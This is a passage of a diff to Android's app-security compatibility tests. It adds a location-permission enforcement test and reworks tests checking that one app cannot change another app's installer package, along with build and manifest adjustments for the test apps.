 // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 // See the License for the specific language governing permissions and
 // limitations under the License.
-//
 
-android_test_helper_app {
-    name: "CtsAutoRevokeWhitelistedDummyApp",
+android_test {
+    name: "CtsLocationPolicyApp",
     defaults: ["cts_defaults"],
-    sdk_version: "test_current",
-    // Tag this module as a cts test artifact
+    libs: [
+        "android.test.runner.stubs",
+        "android.test.base.stubs",
+    ],
+    static_libs: [
+        "androidx.test.rules",
+        "telephony-common",
+    ],
+    srcs: ["src/**/*.java"],
+    platform_apis: true,
     test_suites: [
         "cts",
-        "vts",
         "vts10",
-        "mts",
+        "sts",
         "general-tests",
     ],
-    srcs: ["src/**/*.java", "src/**/*.kt"],
+    min_sdk_version: "27",
+    target_sdk_version: "28",
 }
diff --git a/hostsidetests/appsecurity/test-apps/LocationPolicyApp/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/LocationPolicyApp/AndroidManifest.xml
new file mode 100644
index 0000000..ed9d1fc
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/LocationPolicyApp/AndroidManifest.xml
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+  package="android.appsecurity.cts.locationpolicy">
+
+    <application>
+      <uses-library android:name="android.test.runner" />
+    </application>
+
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+                     android:targetPackage="android.appsecurity.cts.locationpolicy"
+                     android:label="Test to check location policy access for bad sdk."/>
+</manifest>
diff --git a/hostsidetests/appsecurity/test-apps/LocationPolicyApp/src/android/appsecurity/cts/locationpolicy/LocationPolicyTest.java b/hostsidetests/appsecurity/test-apps/LocationPolicyApp/src/android/appsecurity/cts/locationpolicy/LocationPolicyTest.java
new file mode 100644
index 0000000..74ce0c5
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/LocationPolicyApp/src/android/appsecurity/cts/locationpolicy/LocationPolicyTest.java
@@ -0,0 +1,62 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.appsecurity.cts.locationpolicy;
+
+import static org.junit.Assert.assertNotEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.fail;
+
+import android.Manifest;
+import android.content.Context;
+import android.content.pm.PackageManager;
+import android.platform.test.annotations.SecurityTest;
+import android.telephony.TelephonyManager;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class LocationPolicyTest {
+
+    private final Context mContext = InstrumentationRegistry.getInstrumentation().getContext();
+
+    @Test
+    @SecurityTest
+    public void testLocationPolicyPermissions() throws Exception {
+        assertNotNull(mContext);
+        PackageManager pm = mContext.getPackageManager();
+        assertNotNull(pm);
+        assertNotEquals(
+            PackageManager.PERMISSION_GRANTED,
+            pm.checkPermission(Manifest.permission.ACCESS_FINE_LOCATION,
+            mContext.getPackageName()));
+        assertNotEquals(
+            PackageManager.PERMISSION_GRANTED,
+            pm.checkPermission(Manifest.permission.ACCESS_COARSE_LOCATION,
+            mContext.getPackageName()));
+        TelephonyManager tele = mContext.getSystemService(TelephonyManager.class);
+        try {
+            tele.getCellLocation();
+        fail(
+            "ACCESS_FINE_LOCATION and ACCESS_COARSE_LOCATION Permissions not granted. Should have"
+              + " received a security exception when invoking getCellLocation().");
+        } catch (SecurityException ignore) {
+          // That's what we want!
+        }
+    }
+}
diff --git a/hostsidetests/appsecurity/test-apps/MediaStorageApp/src/com/android/cts/mediastorageapp/MediaStorageTest.java b/hostsidetests/appsecurity/test-apps/MediaStorageApp/src/com/android/cts/mediastorageapp/MediaStorageTest.java
index 987efde..603ff5b 100644
--- a/hostsidetests/appsecurity/test-apps/MediaStorageApp/src/com/android/cts/mediastorageapp/MediaStorageTest.java
+++ b/hostsidetests/appsecurity/test-apps/MediaStorageApp/src/com/android/cts/mediastorageapp/MediaStorageTest.java
@@ -210,18 +210,6 @@
             fail("Expected write access to be blocked");
         } catch (SecurityException | FileNotFoundException expected) {
         }
-
-        // Verify that we can't grant ourselves access
-        for (int flag : new int[] {
-                Intent.FLAG_GRANT_READ_URI_PERMISSION,
-                Intent.FLAG_GRANT_WRITE_URI_PERMISSION
-        }) {
-            try {
-                mContext.grantUriPermission(mContext.getPackageName(), blue, flag);
-                fail("Expected granting to be blocked for flag 0x" + Integer.toHexString(flag));
-            } catch (SecurityException expected) {
-            }
-        }
     }
 
     @Test
diff --git a/hostsidetests/appsecurity/test-apps/PackageInstallerPermissionRequestApp/Android.bp b/hostsidetests/appsecurity/test-apps/PackageInstallerPermissionRequestApp/Android.bp
index 990ef49..ae9171c 100644
--- a/hostsidetests/appsecurity/test-apps/PackageInstallerPermissionRequestApp/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/PackageInstallerPermissionRequestApp/Android.bp
@@ -28,7 +28,7 @@
         "general-tests",
     ],
     sdk_version: "test_current",
-    target_sdk_version: "30",
+    target_sdk_version: "29",
     // sign this app with a different cert than CtsPkgInstallerPermWhitelistApp
     certificate: ":cts-testkey2",
 }
diff --git a/hostsidetests/appsecurity/test-apps/PackageInstallerPermissionRequestApp/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/PackageInstallerPermissionRequestApp/AndroidManifest.xml
index 7d0ab56..3c76813 100644
--- a/hostsidetests/appsecurity/test-apps/PackageInstallerPermissionRequestApp/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/PackageInstallerPermissionRequestApp/AndroidManifest.xml
@@ -24,7 +24,7 @@
                      android:targetPackage="com.android.cts.packageinstallerpermissionrequestapp"
                      android:label="Test for unset package installer permission exploit."/>
 
-    <application>
+    <application android:debuggable="true">
         <uses-library android:name="android.test.runner" />
     </application>
 
diff --git a/hostsidetests/appsecurity/test-apps/PackageInstallerWhitelistApp/Android.bp b/hostsidetests/appsecurity/test-apps/PackageInstallerWhitelistApp/Android.bp
index b731a05..94dc075 100644
--- a/hostsidetests/appsecurity/test-apps/PackageInstallerWhitelistApp/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/PackageInstallerWhitelistApp/Android.bp
@@ -29,7 +29,7 @@
         "general-tests",
     ],
     sdk_version: "test_current",
-    target_sdk_version: "30",
+    target_sdk_version: "29",
     // sign this app with a different cert than CtsPkgInstallerPermRequestApp
     certificate: ":cts-testkey1",
 }
diff --git a/hostsidetests/appsecurity/test-apps/PackageInstallerWhitelistApp/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/PackageInstallerWhitelistApp/AndroidManifest.xml
index d54b9c5..ecc544f 100644
--- a/hostsidetests/appsecurity/test-apps/PackageInstallerWhitelistApp/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/PackageInstallerWhitelistApp/AndroidManifest.xml
@@ -20,7 +20,7 @@
                      android:targetPackage="com.android.cts.packageinstallerpermissionwhitelistapp"
                      android:label="Test for unset package installer permission exploit."/>
 
-    <application>
+    <application android:debuggable="true">
         <uses-library android:name="android.test.runner" />
     </application>
 
diff --git a/hostsidetests/appsecurity/test-apps/PermissionDeclareApp/Android.bp b/hostsidetests/appsecurity/test-apps/PermissionDeclareApp/Android.bp
index dd43c7f..57bb99c 100644
--- a/hostsidetests/appsecurity/test-apps/PermissionDeclareApp/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/PermissionDeclareApp/Android.bp
@@ -15,7 +15,10 @@
 android_test_helper_app {
     name: "CtsPermissionDeclareApp",
     defaults: ["cts_support_defaults"],
-    srcs: ["src/**/*.java"],
+    srcs: [
+        "src/**/*.java",
+        "src/**/*.kt",
+    ],
     sdk_version: "current",
     static_libs: ["androidx.test.rules"],
     // tag this module as a cts test artifact
diff --git a/hostsidetests/appsecurity/test-apps/PermissionDeclareApp/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/PermissionDeclareApp/AndroidManifest.xml
index 9188993..1282c45 100644
--- a/hostsidetests/appsecurity/test-apps/PermissionDeclareApp/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/PermissionDeclareApp/AndroidManifest.xml
@@ -32,6 +32,14 @@
 
     <permission android:name="com.android.cts.permissionNormal" />
 
+    <!-- To set package installer -->
+    <uses-permission android:name="android.permission.INSTALL_PACKAGES" />
+
+    <instrumentation
+        android:name="androidx.test.runner.AndroidJUnitRunner"
+        android:targetPackage="com.android.cts.permissiondeclareapp"
+        />
+
     <application>
         <provider android:name="UtilsProvider"
                 android:authorities="com.android.cts.permissiondeclareapp"
diff --git a/hostsidetests/appsecurity/test-apps/PermissionDeclareApp/src/com/android/cts/permissiondeclareapp/ModifyInstallerCrossPackageTest.kt b/hostsidetests/appsecurity/test-apps/PermissionDeclareApp/src/com/android/cts/permissiondeclareapp/ModifyInstallerCrossPackageTest.kt
new file mode 100644
index 0000000..23609fd
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/PermissionDeclareApp/src/com/android/cts/permissiondeclareapp/ModifyInstallerCrossPackageTest.kt
@@ -0,0 +1,79 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.permissiondeclareapp
+
+import android.Manifest
+import androidx.test.InstrumentationRegistry
+import androidx.test.runner.AndroidJUnit4
+import org.junit.AfterClass
+import org.junit.Assume.assumeTrue
+import org.junit.Before
+import org.junit.BeforeClass
+import org.junit.Test
+import org.junit.runner.RunWith
+
+/**
+ * The companion to UsePermissionDiffCert's ModifyInstallerCrossPackageTest which sets its own
+ * installer package. These are purposely named identically so that the host test doesn't need
+ * to swap test class names.
+ */
+@RunWith(AndroidJUnit4::class)
+class ModifyInstallerCrossPackageTest {
+
+    companion object {
+        @JvmStatic
+        @BeforeClass
+        fun adoptPermissions() {
+            InstrumentationRegistry.getInstrumentation().getUiAutomation()
+                    .adoptShellPermissionIdentity(Manifest.permission.INSTALL_PACKAGES)
+        }
+
+        @JvmStatic
+        @AfterClass
+        fun dropPermissions() {
+            InstrumentationRegistry.getInstrumentation().getUiAutomation()
+                    .dropShellPermissionIdentity()
+        }
+    }
+
+    private val context = InstrumentationRegistry.getContext()
+    private val packageManager = context.packageManager
+
+    /**
+     * Excludes this test when running an instrumentation runner against the entire package,
+     * requiring a specific call and parameter to have the method run. Parses as a string since
+     * that's all that runDeviceTests supports.
+     *
+     * Must be @[Before] because testing reporting infrastructure doesn't support assumptions in
+     * @[BeforeClass].
+     */
+    @Before
+    fun assumeRunExplicit() {
+        assumeTrue(InstrumentationRegistry.getArguments()
+                .getString(UtilsProvider.EXTRA_RUN_EXPLICIT)?.toBoolean() ?: false)
+    }
+
+    @Test
+    fun takeInstaller() {
+        packageManager.setInstallerPackageName(context.packageName, context.packageName)
+    }
+
+    @Test
+    fun clearInstaller() {
+        packageManager.setInstallerPackageName(context.packageName, null)
+    }
+}
diff --git a/hostsidetests/appsecurity/test-apps/PermissionDeclareApp/src/com/android/cts/permissiondeclareapp/UtilsProvider.java b/hostsidetests/appsecurity/test-apps/PermissionDeclareApp/src/com/android/cts/permissiondeclareapp/UtilsProvider.java
index ca23d8f..39da864 100644
--- a/hostsidetests/appsecurity/test-apps/PermissionDeclareApp/src/com/android/cts/permissiondeclareapp/UtilsProvider.java
+++ b/hostsidetests/appsecurity/test-apps/PermissionDeclareApp/src/com/android/cts/permissiondeclareapp/UtilsProvider.java
@@ -35,6 +35,7 @@
     public static final String ACTION_GRANT_URI = "grantUri";
     public static final String ACTION_REVOKE_URI = "revokeUri";
     public static final String ACTION_START_ACTIVITY = "startActivity";
+    public static final String ACTION_START_ACTIVITIES = "startActivities";
     public static final String ACTION_START_SERVICE = "startService";
     public static final String ACTION_VERIFY_OUTGOING_PERSISTED = "verifyOutgoingPersisted";
     public static final String ACTION_SET_PRIMARY_CLIP = "setPrimaryClip";
@@ -46,6 +47,7 @@
     public static final String EXTRA_INTENT = Intent.EXTRA_INTENT;
     public static final String EXTRA_URI = "uri";
     public static final String EXTRA_MODE = "mode";
+    public static final String EXTRA_RUN_EXPLICIT = "runExplicit";
 
     @Override
     public Bundle call(String method, String arg, Bundle extras) {
@@ -69,6 +71,11 @@
                 newIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
                 context.startActivity(newIntent);
 
+            } else if (ACTION_START_ACTIVITIES.equals(action)) {
+                final Intent newIntent = intent.getParcelableExtra(EXTRA_INTENT);
+                newIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+                context.startActivities(new Intent[] { newIntent });
+
             } else if (ACTION_START_SERVICE.equals(action)) {
                 final Intent newIntent = intent.getParcelableExtra(EXTRA_INTENT);
                 context.startService(newIntent);
diff --git a/hostsidetests/appsecurity/test-apps/StorageApp/src/com/android/cts/storageapp/StorageTest.java b/hostsidetests/appsecurity/test-apps/StorageApp/src/com/android/cts/storageapp/StorageTest.java
index d287311..f507d40 100644
--- a/hostsidetests/appsecurity/test-apps/StorageApp/src/com/android/cts/storageapp/StorageTest.java
+++ b/hostsidetests/appsecurity/test-apps/StorageApp/src/com/android/cts/storageapp/StorageTest.java
@@ -45,6 +45,8 @@
 import android.os.storage.StorageManager;
 import android.provider.Settings;
 import android.support.test.uiautomator.UiDevice;
+import android.support.test.uiautomator.UiObjectNotFoundException;
+import android.support.test.uiautomator.UiScrollable;
 import android.support.test.uiautomator.UiSelector;
 import android.test.InstrumentationTestCase;
 
@@ -100,6 +102,12 @@
         device.waitForIdle();
 
         if (!isTV(getContext())) {
+            UiScrollable uiScrollable = new UiScrollable(new UiSelector().scrollable(true));
+            try {
+                uiScrollable.scrollTextIntoView("internal storage");
+            } catch (UiObjectNotFoundException e) {
+                // Scrolling can fail if the UI is not scrollable
+            }
             device.findObject(new UiSelector().textContains("internal storage")).click();
             device.waitForIdle();
         }
@@ -327,4 +335,4 @@
         PackageManager pm = context.getPackageManager();
         return pm.hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE);
     }
-}
+}
\ No newline at end of file
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/Android.bp b/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/Android.bp
index 316f7ea..f8bde12 100644
--- a/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/Android.bp
@@ -17,11 +17,13 @@
     defaults: ["cts_support_defaults"],
     srcs: [
         "src/**/*.java",
+        "src/**/*.kt",
     ],
     sdk_version: "current",
     static_libs: [
         "CtsPermissionDeclareUtilLib",
         "androidx.test.rules",
+        "testng",
         "truth-prebuilt",
     ],
     libs: ["android.test.base.stubs"],
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/AndroidManifest.xml
index 18f6096..615d6dc 100644
--- a/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/AndroidManifest.xml
@@ -17,6 +17,8 @@
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
        package="com.android.cts.usespermissiondiffcertapp">
 
+    <uses-permission android:name="android.permission.INSTALL_PACKAGES"/>
+
     <!-- We say we want to use the other app's permission, but it is signed with
          a different cert so it should fail. -->
     <uses-permission android:name="com.android.cts.permissionWithSignature"/>
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/src/com/android/cts/usespermissiondiffcertapp/ModifyInstallerCrossPackageTest.kt b/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/src/com/android/cts/usespermissiondiffcertapp/ModifyInstallerCrossPackageTest.kt
new file mode 100644
index 0000000..f652a27
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/src/com/android/cts/usespermissiondiffcertapp/ModifyInstallerCrossPackageTest.kt
@@ -0,0 +1,93 @@
+/*
+ * Copyright (C) 2009 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.usespermissiondiffcertapp
+
+import android.Manifest
+import androidx.test.InstrumentationRegistry
+import androidx.test.runner.AndroidJUnit4
+import com.android.cts.permissiondeclareapp.UtilsProvider
+import com.android.cts.usespermissiondiffcertapp.ModifyInstallerPackageTest.MY_PACKAGE
+import com.android.cts.usespermissiondiffcertapp.ModifyInstallerPackageTest.OTHER_PACKAGE
+import com.android.cts.usespermissiondiffcertapp.ModifyInstallerPackageTest.assertPackageInstallerAndInitiator
+import org.junit.AfterClass
+import org.junit.Assume.assumeTrue
+import org.junit.Before
+import org.junit.BeforeClass
+import org.junit.Test
+import org.junit.runner.RunWith
+import org.testng.Assert.assertThrows
+
+/**
+ * Tests that one application can and can not modify the installer package
+ * of another application is appropriate.
+ *
+ * This is split from [ModifyInstallerPackageTest] to allow the host side test to instrument
+ * both this app and PermissionDeclareApp in alternating fashion, using adoptShellPermissionIdentity
+ * to grant them the INSTALL_PACKAGES permission they would normally not be able to hold inside CTS.
+ */
+@RunWith(AndroidJUnit4::class)
+class ModifyInstallerCrossPackageTest {
+
+    companion object {
+        @JvmStatic
+        @BeforeClass
+        fun adoptPermissions() {
+            InstrumentationRegistry.getInstrumentation().getUiAutomation()
+                    .adoptShellPermissionIdentity(Manifest.permission.INSTALL_PACKAGES)
+        }
+
+        @JvmStatic
+        @AfterClass
+        fun dropPermissions() {
+            InstrumentationRegistry.getInstrumentation().getUiAutomation()
+                    .dropShellPermissionIdentity()
+        }
+    }
+
+    private val context = InstrumentationRegistry.getContext()
+    private val packageManager = context.packageManager
+
+    /**
+     * Excludes this test when running an instrumentation runner against the entire package,
+     * requiring a specific call and parameter to have the method run. Parses as a string since
+     * that's all that runDeviceTests supports.
+     *
+     * Must be @[Before] because testing reporting infrastructure doesn't support assumptions in
+     * @[BeforeClass].
+     */
+    @Before
+    fun assumeRunExplicit() {
+        assumeTrue(InstrumentationRegistry.getArguments()
+                .getString(UtilsProvider.EXTRA_RUN_EXPLICIT)?.toBoolean() ?: false)
+    }
+
+    @Test
+    fun assertBefore() {
+        assertPackageInstallerAndInitiator(OTHER_PACKAGE, null, null, packageManager)
+    }
+
+    @Test
+    fun attemptTakeOver() {
+        assertPackageInstallerAndInitiator(OTHER_PACKAGE, OTHER_PACKAGE, null, packageManager)
+        assertThrows { packageManager.setInstallerPackageName(OTHER_PACKAGE, MY_PACKAGE) }
+        assertPackageInstallerAndInitiator(OTHER_PACKAGE, OTHER_PACKAGE, null, packageManager)
+    }
+
+    @Test
+    fun assertAfter() {
+        assertPackageInstallerAndInitiator(OTHER_PACKAGE, null, null, packageManager)
+    }
+}
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/src/com/android/cts/usespermissiondiffcertapp/ModifyInstallerPackageTest.java b/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/src/com/android/cts/usespermissiondiffcertapp/ModifyInstallerPackageTest.java
index a204f47..ec9663c 100644
--- a/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/src/com/android/cts/usespermissiondiffcertapp/ModifyInstallerPackageTest.java
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/src/com/android/cts/usespermissiondiffcertapp/ModifyInstallerPackageTest.java
@@ -16,58 +16,100 @@
 
 package com.android.cts.usespermissiondiffcertapp;
 
-import static com.android.cts.permissiondeclareapp.UtilsProvider.ACTION_SET_INSTALLER_PACKAGE_NAME;
-import static com.android.cts.permissiondeclareapp.UtilsProvider.EXTRA_INSTALLER_PACKAGE_NAME;
-import static com.android.cts.permissiondeclareapp.UtilsProvider.EXTRA_PACKAGE_NAME;
-
 import static com.google.common.truth.Truth.assertThat;
 
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.fail;
+
+import android.Manifest;
+import android.content.Context;
 import android.content.Intent;
 import android.content.pm.InstallSourceInfo;
 import android.content.pm.PackageManager;
 import android.content.pm.SigningInfo;
 import android.os.Bundle;
-import android.test.AndroidTestCase;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
 
 import com.android.cts.permissiondeclareapp.UtilsProvider;
 
+import org.junit.AfterClass;
+import org.junit.BeforeClass;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
 /**
  * Tests that one application can and can not modify the installer package
  * of another application is appropriate.
  *
  * Accesses app cts/tests/appsecurity-tests/test-apps/PermissionDeclareApp/...
  */
-public class ModifyInstallerPackageTest extends AndroidTestCase {
-    private static final String OTHER_PACKAGE = "com.android.cts.permissiondeclareapp";
-    private static final String MY_PACKAGE = "com.android.cts.usespermissiondiffcertapp";
+@RunWith(AndroidJUnit4.class)
+public class ModifyInstallerPackageTest {
+    static final String OTHER_PACKAGE = "com.android.cts.permissiondeclareapp";
+    static final String MY_PACKAGE = "com.android.cts.usespermissiondiffcertapp";
 
-    private PackageManager mPM;
+    static void assertPackageInstallerAndInitiator(String packageName,
+            String expectedInstaller, String expectedInitiator, PackageManager packageManager)
+            throws Exception {
+        assertEquals(expectedInstaller, packageManager.getInstallerPackageName(packageName));
+        final InstallSourceInfo installSourceInfo =
+                packageManager.getInstallSourceInfo(packageName);
+        assertEquals(expectedInstaller, installSourceInfo.getInstallingPackageName());
+        assertEquals(expectedInitiator, installSourceInfo.getInitiatingPackageName());
 
-    public void setUp() throws Exception {
-        super.setUp();
-        mPM = getContext().getPackageManager();
+        // We should get the initiator's signature iff we have an initiator.
+        if (expectedInitiator == null) {
+            assertNull(installSourceInfo.getInitiatingPackageSigningInfo());
+        } else {
+            final SigningInfo expectedSigning = packageManager.getPackageInfo(expectedInitiator,
+                    PackageManager.GET_SIGNING_CERTIFICATES).signingInfo;
+            final SigningInfo actualSigning = installSourceInfo.getInitiatingPackageSigningInfo();
+            assertThat(actualSigning.getApkContentsSigners()).asList()
+                    .containsExactlyElementsIn(expectedSigning.getApkContentsSigners());
+        }
+    }
+
+    private Context context = InstrumentationRegistry.getContext();
+
+    private PackageManager mPM = context.getPackageManager();
+
+    @BeforeClass
+    public static void adoptPermissions() {
+        InstrumentationRegistry.getInstrumentation().getUiAutomation()
+                .adoptShellPermissionIdentity(Manifest.permission.INSTALL_PACKAGES);
+    }
+
+    @AfterClass
+    public static void dropPermissions() {
+        InstrumentationRegistry.getInstrumentation().getUiAutomation()
+                .dropShellPermissionIdentity();
     }
 
     /**
      * Test that we can set the installer package name (but not the initiating package name).
      */
-    public void testSetInstallPackage() throws Exception {
+    @Test
+    public void setInstallPackage() throws Exception {
         // Pre-condition.
-        assertPackageInstallerAndInitiator(OTHER_PACKAGE, null, null);
+        assertPackageInstallerAndInitiator(OTHER_PACKAGE, null, null, mPM);
 
         mPM.setInstallerPackageName(OTHER_PACKAGE, MY_PACKAGE);
-        assertPackageInstallerAndInitiator(OTHER_PACKAGE, MY_PACKAGE, null);
+        assertPackageInstallerAndInitiator(OTHER_PACKAGE, MY_PACKAGE, null, mPM);
 
         // Clean up.
         mPM.setInstallerPackageName(OTHER_PACKAGE, null);
-        assertPackageInstallerAndInitiator(OTHER_PACKAGE, null, null);
+        assertPackageInstallerAndInitiator(OTHER_PACKAGE, null, null, mPM);
     }
 
     /**
      * Test that we fail if trying to set an installer package with an unknown
      * target package name.
      */
-    public void testSetInstallPackageBadTarget() throws Exception {
+    @Test
+    public void setInstallPackageBadTarget() throws Exception {
         try {
             mPM.setInstallerPackageName("thisdoesnotexistihope!", MY_PACKAGE);
             fail("setInstallerPackageName did not throw IllegalArgumentException");
@@ -80,23 +122,25 @@
      * Test that we fail if trying to set an installer package with an unknown
      * installer package name.
      */
-    public void testSetInstallPackageBadInstaller() throws Exception {
+    @Test
+    public void setInstallPackageBadInstaller() throws Exception {
         try {
             mPM.setInstallerPackageName(OTHER_PACKAGE, "thisdoesnotexistihope!");
             fail("setInstallerPackageName did not throw IllegalArgumentException");
         } catch (IllegalArgumentException e) {
             // That's what we want!
         }
-        assertPackageInstallerAndInitiator(OTHER_PACKAGE, null, null);
+        assertPackageInstallerAndInitiator(OTHER_PACKAGE, null, null, mPM);
     }
 
     /**
      * Test that we fail if trying to set an installer package that is not
      * signed with our cert.
      */
-    public void testSetInstallPackageWrongCertificate() throws Exception {
+    @Test
+    public void setInstallPackageWrongCertificate() throws Exception {
         // Pre-condition.
-        assertPackageInstallerAndInitiator(OTHER_PACKAGE, null, null);
+        assertPackageInstallerAndInitiator(OTHER_PACKAGE, null, null, mPM);
 
         try {
             mPM.setInstallerPackageName(OTHER_PACKAGE, OTHER_PACKAGE);
@@ -105,66 +149,12 @@
             // That's what we want!
         }
 
-        assertPackageInstallerAndInitiator(OTHER_PACKAGE, null, null);
-    }
-
-    /**
-     * Test that we fail if trying to set an installer package that is not
-     * signed with the same cert as the currently set installer.
-     */
-    public void testSetInstallPackageConflictingInstaller() throws Exception {
-        // Pre-condition.
-        assertPackageInstallerAndInitiator(OTHER_PACKAGE, null, null);
-
-        // Have the other package set the installer, under its cert.
-        Intent intent = new Intent();
-        intent.setAction(ACTION_SET_INSTALLER_PACKAGE_NAME);
-        intent.putExtra(EXTRA_PACKAGE_NAME, OTHER_PACKAGE);
-        intent.putExtra(EXTRA_INSTALLER_PACKAGE_NAME, OTHER_PACKAGE);
-        call(intent);
-
-        assertPackageInstallerAndInitiator(OTHER_PACKAGE, OTHER_PACKAGE, null);
-
-        try {
-            mPM.setInstallerPackageName(OTHER_PACKAGE, MY_PACKAGE);
-            fail("setInstallerPackageName did not throw SecurityException");
-        } catch (SecurityException e) {
-            // That's what we want!
-        }
-
-        assertPackageInstallerAndInitiator(OTHER_PACKAGE, OTHER_PACKAGE, null);
-
-        // Now clear the installer
-        intent.setAction(ACTION_SET_INSTALLER_PACKAGE_NAME);
-        intent.putExtra(EXTRA_PACKAGE_NAME, OTHER_PACKAGE);
-        intent.putExtra(EXTRA_INSTALLER_PACKAGE_NAME, (String)null);
-        call(intent);
-
-        assertPackageInstallerAndInitiator(OTHER_PACKAGE, null, null);
-    }
-
-    private void assertPackageInstallerAndInitiator(String packageName, String expectedInstaller,
-            String expectedInitiator) throws Exception {
-        assertEquals(expectedInstaller, mPM.getInstallerPackageName(packageName));
-        final InstallSourceInfo installSourceInfo = mPM.getInstallSourceInfo(packageName);
-        assertEquals(expectedInstaller, installSourceInfo.getInstallingPackageName());
-        assertEquals(expectedInitiator, installSourceInfo.getInitiatingPackageName());
-
-        // We should get the initiator's signature iff we have an initiator.
-        if (expectedInitiator == null) {
-            assertNull(installSourceInfo.getInitiatingPackageSigningInfo());
-        } else {
-            final SigningInfo expectedSigning = mPM.getPackageInfo(expectedInitiator,
-                    PackageManager.GET_SIGNING_CERTIFICATES).signingInfo;
-            final SigningInfo actualSigning = installSourceInfo.getInitiatingPackageSigningInfo();
-            assertThat(actualSigning.getApkContentsSigners()).asList()
-                    .containsExactlyElementsIn(expectedSigning.getApkContentsSigners());
-        }
+        assertPackageInstallerAndInitiator(OTHER_PACKAGE, null, null, mPM);
     }
 
     private void call(Intent intent) {
         final Bundle extras = new Bundle();
         extras.putParcelable(Intent.EXTRA_INTENT, intent);
-        getContext().getContentResolver().call(UtilsProvider.URI, "", "", extras);
+        context.getContentResolver().call(UtilsProvider.URI, "", "", extras);
     }
 }
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/src/com/android/cts/usespermissiondiffcertapp/UriGrantsActivityTest.java b/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/src/com/android/cts/usespermissiondiffcertapp/UriGrantsActivityTest.java
index 26a2eee..132d7f6 100644
--- a/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/src/com/android/cts/usespermissiondiffcertapp/UriGrantsActivityTest.java
+++ b/hostsidetests/appsecurity/test-apps/UsePermissionDiffCert/src/com/android/cts/usespermissiondiffcertapp/UriGrantsActivityTest.java
@@ -22,7 +22,8 @@
